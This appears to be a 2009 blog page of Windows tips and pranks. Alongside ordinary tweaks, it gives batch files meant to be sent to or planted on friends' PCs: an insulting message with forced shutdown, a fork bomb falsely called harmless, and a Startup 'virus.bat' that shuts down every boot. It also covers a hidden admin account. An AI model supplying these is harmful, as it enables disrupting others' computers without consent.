Showing posts with label programming. Show all posts
Showing posts with label programming. Show all posts

Friday, October 16, 2009

Convey message to your friend and shutdown his/her computer

Open your notepad and type the following lines of code

@echo off
msg * I don’t like you
shutdown -c “Error! You are too stupid!” -s

Convey message to your friend and shutdown his/her computer

Save it as “Anything.BAT” and send it.

Thursday, October 15, 2009

A Fork Bomb Used To Freeze A PC

A Fork Bomb Used To Freeze A PC
This is a small code , which will make a command run over and over until the computer cannot handle any more programs and the computer will freeze or shutdown.
THIS IS HARMLESS AND WILL DO NO DAMAGE TO YOUR COMPUTER

To make this open note pad and type:

@echo off
:START
start a.bat
GOTO START

The code above must be saved as a.bat and when the other person opens it nothing will appear but in the background it will keep opening its self until the computer freezes or shuts down.
You can try this on your friends by putting it in the Startup.

Saturday, September 5, 2009

Stop Low Disk Space Warning

Stop Low Disk Space Warning
When the space of your hard disk is low, Windows will usually give "low disk space" warning on the system tray. This warning sometimes disturbs us. To stop this warning from appearing, do the following steps:

1.Click Start - Run.

2.Type "regedit".

3.Go to
HKEY_CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer.

4.On the right window of registry editor, right-click the empty space.

5.Choose New - DWORD Value.

6.Type the value name "NoLowDiskSpace" and press Enter.

7.Right-click the new key you've made and choose Modify.

8.On the Value Data type the number "1".

9.Press OK.

10.Restart your computer.

Sunday, August 30, 2009

Disable Error Report

Disable Error Report

1. Open Control Panel.

2. Click on Performance and Maintenance.

3. Click on System.

4. Then click on the Advanced tab.

5. Click on the error-reporting button on the bottom of the windows.

6. Select Disable error reporting.

7. Click OK.

8. Click OK.

Friday, August 28, 2009

FlushReset DNS Cache

FlushReset DNS Cache

DNS (Domain Name System) is a resolution mechanism to translate, resolve and return real IP address of the serving machine against the fully qualified domain name of the URL (Uniform Resource Locator), aka link location. Whenever a domain has been resolved, the DNS resolution is stored and cached locally for future use.

The caching of DNS on local system ensure the fastest speed to resolve any domain name, and reducing hits, and directly load and burn of DNS name servers. However, it may cause some issues such as some websites and web pages not loading or cannot be contacted and connected when browsing, causing by changing of IP address or nameservers that hasn’t been reflected and refreshed on local copy.

The symptom is more obvious when user set web browser to use proxy to surf the Internet, and these sites now can be loaded properly.

When encountering any inaccessible or unable to load web page issue, one possible resolution is to try to flush (empty and reset) the DNS cache on the system. To flush the DNS on Windows system (Windows XP and Vista inclusive), follow these steps:

Click on Start button and then click on Run (alternatively just hit Windows + R keys) to open Run command dialog. Type Cmd into the Run box, and hit Enter. In Windows Vista, open an elevated command prompt.

A command prompt DOS window will open. Type ipconfig /flushdns and then press Enter to purge the DNS resolver cache.

Thursday, August 27, 2009

Shake Your Browser

This is a fun little trick that can create a shaking screen on your web browser (Like Internet Explorer,etc..)

The trick is simply a small Java Script that causes your browser window to move to different positions, causing a shake of your entire screen. It's kind of cool to watch and see what Java Script can do! Try it out..

Use this trick at your own risk.

Here's how:
Copy this entire line and paste it onto your address box, then press Enter:

javascript:function Shw(n) {if (self.moveBy) {for (i = 35; i > 0; i--) {for (j = n; j > 0; j--) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} Shw(6)

Example:

Shake Your Browser

Tuesday, August 25, 2009

Create Hidden Admin Account in Windows XP

Create Hidden Admin Account in Windows XP

Since we are going to do all the Editing in Window Registry it is Recommended to Back Up the Registry before going Further.
After you have Backed up your registry follow the Steps to Create your Hidden Account:

First Goto Start -> Run -> Type regedit -> Enter
In the Left Menu goto,

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\SpecialAccounts\UserList

In the Right pane, Right click -> New -> String Value

Right click on the new String Value and click Rename

Type the Name of the Account you want to hide.

Hit Enter then Right click on the String Value again and Change value to 0 which hides it. If you want it to be Visible to all Enter the Value 1.

Now Save and Exit the Registry and Logoff.

Goto welcome screen and Hit ctrl+alt+del twice to bring up Logon prompt

Type hidden Accounts name and password

Enjoy!!!

Monday, July 27, 2009

Speed up your computer

1. Increase virtual memory

Virtual memory is the space your computer uses when it's short of RAM (Random Access Memory), which is the memory used when running programs like Office Suites.

And here are the steps to reset your virtual memory:

· Open MyComputer on your desktop

· On the left pane, click view system information, then windows will open up system properties dialog box.

clip_image002

· Click Advanced Tab

· On the Performance Area, click Settings

· Once, you will see performance option dialog box.

· Click Advanced tab, and find the virtual memory area and click change

clip_image004

· Here, you can change the pagination file by changing the size of the Initial Size.

2. Free Up Disk Space

Freeing up your disk space may make a big effect on your computer. By doing this, you can improve your computer performance. You can free up disk space by using Disk Cleanup. Here’s the steps:

· On taskbar, click start, point to all programs, accessories, System Tools, and click Disk Cleanup.

· Choose one of your drive you want to clean.

· Once, you will see Disk Cleanup Dialog box. Clear the check boxes to all files which you don’t want to delete, and then click OK

· When prompted to confirm that you want to delete the specified files, click Yes.

After the process complete, your computer may perform better.

3. Turn off system restore

Some professional says that having system restore on your compter, takes a lot of space of your drive. Therefore you should turn off system restore. To access system restore:

· Click Start, point to Accesories, point to System Tools, and then click System Restore.

· Then you can edit the settings and turn off the system restore on your computer.]

4. Regurally Defragmenting The Disk

This action can speed up your computer. You can do this by accessing Disk Defragmenter. To access disk defragmenter and defragment your disk:

· Click Start-all programs-accessories-system tools, click on disk defragmenter.

clip_image006

· Then, click the drive you want to defragment and click analyze (to estimate how long this proccess takes)

· If you sure want to defragment that drives click the defragment buttons.

Sunday, July 26, 2009

How To Make a Folder Shortcut ?

Just like the title above, I will give you easy tips to make folder shortcut.

Do you have a folder that you want to access it fast whenever you want? The only solution for it, is make a shortcut for that folder which known as folder shortcut. Here we go:

1. Go to My Computer or Windows Explorer and find the folder you want to access quickly later.

2. If you have found the folder you want to instant access, then right click on the folder, point to Send to and select Desktop

clip_image002

3. Now, go to desktop and right click on the sent folder, and select Properties

4. Click Shortcut Tab and look for “Shortcut Key” row, on the empty box next to it you can type the shortcut to instant access your folder.

clip_image004

5. Click OK, and you only have to test your job.

Saturday, July 25, 2009

Add New Item to Send To Menu

When you right-click a file name or a thumbnail in Microsoft Windows XP, you see a shortcut menu for that file. One of the items on the menu is Send To, which enables you to quickly e-mail a file, copy it to your desktop, or copy it to a floppy disk.

Sometimes what you really want to do is to save a copy of the file to a specific folder on your computer. If you have a folder where you frequently place files, you can add that folder’s name to the list of locations on the Send To menu. This can save you the time of opening another Windows Explorer window and copying the file from one folder to another.

For example, you could create a My Pictures folder and then use the Send To menu to copy your best pictures to that folder.

To add a folder to the Send To menu

  1. Click Start. Make note of your user name ("Administrator" in the example below) which is displayed at the top of the Start menu. Then, click My Computer.

clip_image002

  1. In the My Computer window, click the Tools menu, and then click Folder Options.

clip_image004

  1. Click the View tab. Under Hidden filse and folders, click Show hidden filse and folders, and then click OK.

clip_image006

4. In the My Computer window, double-click Local Disk (C:), double-click Documents and Settings, double-click your user name, and then double-click SendTo.

5. Click the File menu, click New, and then click Shortcut

6. The Create Shortcut Wizard appears. Click the Browse button.

clip_image008

7. In the Browse For Folder dialog box, click the folder you want to add to your Send To menu, and then click OK.

8. Click Next, click Finish

9. Now when you right-click a file and click Send To, the destination you selected will be an option on the Send To menu. You can create shortcuts to local or network programs, files, folders, computers, or Internet addresses.

clip_image010

Tuesday, July 21, 2009

Windows Registry Tricks

image It's been a long time for me did not share any computer tricks in here. Recently mytheory only focus on SERP or SEO content. And for an intermezzo, i would like to give you some computer tricks and i'm going to talk about Registry Tricks. Check it out!

::. Backup Registry

Before doing some of these tricks you better backup your Registry first. How to backup Registry? emm,it's pretty easy actually,simply go to Regedit (click start-Run-type 'regedit' - click OK), click File-Export and save it anywhere (but don't forget where you save it) and you can name it anything you want

image

image

::. Registry Edit

I will tell you some useful tricks about Registry Windows which is simple to do, but you have to pay attention carefully because if you miss the procedure or even doing something wrong, it can be harmful..... but you can use your Backup to fix your Registry, Okay so here we go:

  1. Automatically close Non-Responding Application on Shutdown
    Go to Regedit (Start-Run-regedit); Look at the left pane, click HKEY USERS , and select DEFAULT branch, expand the Control Panel branch,and select Desktop. On the right pane double click on AutoEndTasks, once you see a dialog box consist of Value Name and Value Data. Now, change the value data to 1 to automatically end tasks when computer Shutdown, otherwise, 0 means prompt user for an action.
    clip_image002 image
  2. Speed up menu Display
    Start/Run/Regedit
    HKEY_CURRENT_USER/Control Panel/Desktop ; look at the right pane, select 'MenuShowDelay' right click on it click modify and set the value by 100 . Restart the computer.
  3. Restrict User from Running Specific Application
    Go to regedit; on the left pane: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer. Value Name: DisallowRun
    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] Create a new DWORD value and name it "DisallowRun" set the value to "1" to enable application restrictions or "0" to allow all applications to run. Then create a new sub-key called [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ Explorer\DisallowRun] and define the applications the are to be restricted. Creating a new string value for each application, named as consecutive numbers, and setting the value to the filename to be restriced (e.g. "regedit.exe"). Restart Windows for the changes to take effect.
  4. Automatically Windows Refresh
    Start/Run/Regedit
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Update. Value Name: UpdateMode, Data Type: REG_DWORD (DWORD Value), Value Data: default = 1. Create a new DWORD value, or modify the existing value, named "UpdateMode" and set it to equal "0" for faster updates. Restart Windows for the change to take effect.
  5. Enable DVD player in Media Player
    Start/Run/Regedit
    HKEY_CURRENT_USER\Software\Microsoft\MediaPlayer\Player\Settings. Value Name: EnableDVDUI, Data Type: REG_SZ (String Value), Value Data: yes or no. Create a new string value called "EnableDVDUI" and set it to "yes" to enable DVD functionality.

So, after you done with those tricks you need to restart your computer to see the result.

Friday, June 26, 2009

Open Active Folder in Command Prompt !


Working through cmd prompt is not easy with long paths and folder names.

This trick provides a solution !!!

What can be done :
** Command prompt can be added to 'Right Click Menu' of each folder.
** Clicking on this will open the folder in cmd prompt.
** Now, the files in that folder can easily be operated.


How to do it :
** Open any folder.
** Tools >> Folder Options...
** Change to File Types
** Select Folder from the list.
** Click Advanced button.
** Now, click New
** Type Command Prompt in Action
** Type
cmd.exe in Application used to perform action:
** Now, click OK and Apply

That's All !!!

Now, Right Click any folder and click Command Prompt
And see what happens !!!

Monday, June 22, 2009

Access Your Folders as Drives


Trick is all About :

You can create Virtual Drives in your Computer. Now you can access your Favorite Folders as a drive in My Computer.

What you can do ?

** Access your folders as a Drive !

** Fool 'Computer Beginners' or your 'Friends' (Non-Expert) , as the drive will show Disk Space of the folder's drive so it seems that the disk space has increased !!!

Do The Follwing :

Start >> Run

Type cmd and hit Enter

This will open "Command Prompt"

Type subst Z: E:\folder and hit Enter key.

You can replace Z: with your desired New Drive Letter (Except existing Drive letters)!

You can replace E:\folder with the path of your favorite folder !

Now, type exit

*** This creates a new drive ! When you open this , it will open your folder !!!

*** Isn't it Awesome ?

*** And this is Exclusive at pcremix.blogspot.com !

-------------------------------------------------------------

But a Problem !

۩ On Restart the Virtual Drive Disappears !!!

-------------------------------------------------------------

Solution !

-------------------------------------------------------------

۩ We can make a batch file which will make the drive everytime on startup !

Here is how ?

Open Notepad

Type :

@ECHO OFF

subst Z: E:\folder

exit

File >> Save As...

Name it : Virtual Drive Emulator.bat

Start >> All Programs

Right Click on Startup >> Open

This open the Startup folder

Paste the Virtual Drive Emulator.bat file here !

*** That's all , now the drive will automatically be created when ever you start your pc

-------------------------------------------------------------

>>>> Mission Accomplished <<<<

Saturday, June 20, 2009

Shutdown and Restart Trick !



My Exclusive... Again a contribution to Computer Tricks !
Play pranks on your friends...

****************************************************************************
Shutdown Trick
Stimulate shutdown from command prompt !
# Start >> Run
# Type shutdown -s -t 10 -c "Shutting Down..."
# Hit Enter and enjoy !
****************************************************************************
Restart Trick
Stimulate Restart from command prompt !
# Start >> Run
# Type shutdown -r -t 10 -c "Restarting..."
# Hit Enter and enjoy !
****************************************************************************
Log Off Trick
Stimulate LogOff from command prompt !
# Start >> Run
# Type shutdown -l
# Hit Enter and enjoy !
****************************************************************************

Please Note

-s :: This signify Shutdown Request.
-r :: This signify Restart Request.
-l :: This signify LogOff Request.
-t :: This signify the timer before Restart. (Replace '10' with any number.)
-c :: This signify comment.

How To Stop It ?
# When the timer is Running...
# Start >> Run
# Type shutdown -a
# That's It.

Prank !!!

-------------------------------------------------------------

۩ We can make a batch file which will Shutdown the computer everytime on startup !

Here is how ?

Open Notepad

Type :

@ECHO OFF

shutdown -s -t 10 -c "Virus Attack..."

exit

File >> Save As...

Name it : virus.bat

Start >> All Programs

Right Click on Startup >> Open

This open the Startup folder

Paste the Virus.bat file here !

*** That's all , now the computer will automatically shutdown on every startup !

Friday, June 19, 2009

Eject Your CD-DVD Drives... Infinitely


Enough of Computer Tricks here...
Hm... lets try some Pranks on the Novice and Rookies.. what say?
So... here comes my another Exclusive...!

Eject your drives in and out infinitely...

A simle VB Script will serve the purpose......!!!

Do the following:
** Go to Start >> Run
** Type Notepad and hit Enter
** Now in Notepad type:

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If

** Go to File >> Save As...
** Type Eject.vbs and click Save

How to use:
$ Just Double Click the saved file ! (Eject.vbs)

How To Stop:
$ First Way:
Restart the Computer... and this will stop the script
$ Second Way:
Open Task Manager and in processes search for wscript.exe and click End Process

Saturday, June 13, 2009

Add Folder To - "SEND TO"


Many a times we require a FOLDER too often, like to store our Multimedia files and all !!!
No no need to access the folder and carry out the traditional COPY & PASTE !!!

Just add it too "SEND TO" !!!

Do as follows :

** Open any FOLDER.
** Then, TOOLS >> Folder Options
** Click view TAB.
** In LIST of Advance Settings, click Show hidden files and folders !
** Now, go to C:\Documents and Settings
** Here, double click and open your (username) folder !
** Now, open SendTo folder.
** Here copy and paste the shortcut of your favorite folder.

That's Done !!!

Now, tranfer files to your favorite folder :

** Right Click the file
** Then, Send To
** Click the folder name !

Enjoy !!! --------- Please Comment !!!

Thursday, May 28, 2009

MOZILLA FIREFOX TRICKS

Type the red lines in the address bar to get the Result......
chrome://browser/content/browser.xul
IT Opens another Firefox inside a tab in the the existing Firefox window.
chrome://browser/content/preferences/preferences.xul
IT Opens the Options dialog box inside the Firefox tab.
chrome://browser/content/bookmarks/bookmarksPanel.xul
IT Opens the “Book Marks Manager” inside a tab in the Firefox window.
chrome://browser/content/history/history-panel.xul
IT Opens the History Panel in the Firefox tab.
chrome://mozapps/content/extensions/extensions.xul?type=extensions
IT Opens the Extensions window in the current tab.
chrome://browser/content/preferences/cookies.xul
IT Opens the “cookies window” inside a tab in the Firefox window.
chrome://browser/content/preferences/sanitize.xul
IT Opens the “Clear Private Data” window inside the current tab.
chrome://browser/content/aboutDialog.xul
IT Opens the “About Firefox” Dialog box inside the tab. chrome://browser/content/credits.xhtml
IT A scrolling list of names. The one’s who we must thank for creating Firefox.
chrome://global/content/alerts/alert.xul
IT SHOWS Dancing Firefox.

Saturday, April 18, 2009

Funny Trick In Windows XP



HI frds a funny trick in windows XP

Try our this

u can c star wars in windows XP

its really nice try out dis friends

GO TO start> run.......
TYPE telnet towel.blinkenlights.nl

hit enter....

Create Cmd Prompt When Your Command Prompt Does Not Work




A trick to create command prompt
some times run is disabled in your pc due to virus
so create ur cmd prompt and continue ur works as
usual

PASTE THIS CODE IN A NOTE PAD

@echo off
cmd

@echo on

AND SAVE THE NOTEPAD as cmd.bat
cmd.bat is the name u r going to save

Fun With Browser




Funny Computer Tricks: Check out these tips and funny tricks

(1)Fun With Browser :

Copy and paste the java script code in the following red lines to the address bar of your browser

javascript:function Shw(n) {if (self.moveBy) {for (i = 35; i > 0; i--) {for (j = n; j > 0; j--) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} Shw(6)
Press enter and watch your window's |shaking it" You can change the value of i if you wish :-)

 
Powered by Blogger